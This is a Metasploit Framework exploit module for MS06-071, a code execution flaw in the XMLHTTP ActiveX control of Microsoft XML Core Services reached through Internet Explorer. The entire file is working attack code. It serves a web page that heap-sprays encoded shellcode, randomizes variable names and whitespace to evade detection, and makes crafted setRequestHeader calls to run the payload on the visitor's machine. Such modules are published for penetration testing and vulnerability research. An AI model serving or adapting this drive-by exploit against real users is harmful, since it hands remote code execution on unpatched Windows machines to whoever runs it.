##
# $Id: ms06_071_xml_core.rb 9669 2010-07-03 03:13:45Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer XML Core Services HTTP Request Handling',
'Description' => %q{
This module exploits a code execution vulnerability in Microsoft XML Core Services which
exists in the XMLHTTP ActiveX control. This module is the modifed version of
http://www.milw0rm.com/exploits/2743 - credit to str0ke. This module has been successfully
tested on Windows 2000 SP4, Windows XP SP2, Windows 2003 Server SP0 with IE6
+ Microsoft XML Core Services 4.0 SP2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Trirat Puttaraksa <trir00t [at] gmail.com>',
],
'Version' => '$Revision: 9669 $',
'References' =>
[
['CVE', '2006-5745' ],
['OSVDB', '29425' ],
['MSB', 'MS06-071' ],
['BID', '20915' ],
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 SP4 -> Windows 2003 SP0', {'Ret' => 0x0c0c0c0c} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 10 2006'))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Get a unicode friendly version of the return address
addr_word = [target.ret].pack('V').unpack('H*')[0][0,4]
# Randomize the javascript variable names
var_buffer = rand_text_alpha(rand(30)+2)
var_shellcode = rand_text_alpha(rand(30)+2)
var_unescape = rand_text_alpha(rand(30)+2)
var_x = rand_text_alpha(rand(30)+2)
var_i = rand_text_alpha(rand(30)+2)
var_size = rand_text_alpha(rand(30)+2)
var_nopsize = rand_text_alpha(rand(30)+2)
var_limit = rand_text_alpha(rand(30)+2)
var_obj = rand_text_alpha(rand(30)+2)
var_id = rand_text_alpha(rand(30)+2)
# Build out the message
content = %Q|
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<object id=#{var_id} classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}">
</object>
<script>
var #{var_unescape} = unescape ;
var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;
var #{var_size} = #{var_shellcode}.length * 2;
var #{var_nopsize} = 0x400000 - (#{var_size} + 0x38);
var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
while (#{var_buffer}.length * 2 < #{var_nopsize}) #{var_buffer}+=#{var_buffer} ;
#{var_limit} = (0x12000000 - 0x400000) / 0x400000;
var #{var_x} = new Array() ;
for ( var #{var_i} =0 ; #{var_i} < #{var_limit} ; #{var_i}++ ) {
#{var_x}[ #{var_i} ] =
#{var_buffer} + #{var_shellcode};
}
var #{var_obj} = null;
#{var_obj} = document.getElementById('#{var_id}').object;
try {
#{var_obj}.open(new Array(), new Array(), new Array(), new Array(), new Array());
} catch(e) {};
#{var_obj}.open(new Object(), new Object(), new Object(), new Object(), new Object());
#{var_obj}.setRequestHeader( new Object(), '......' );
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );
</script>
</body>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
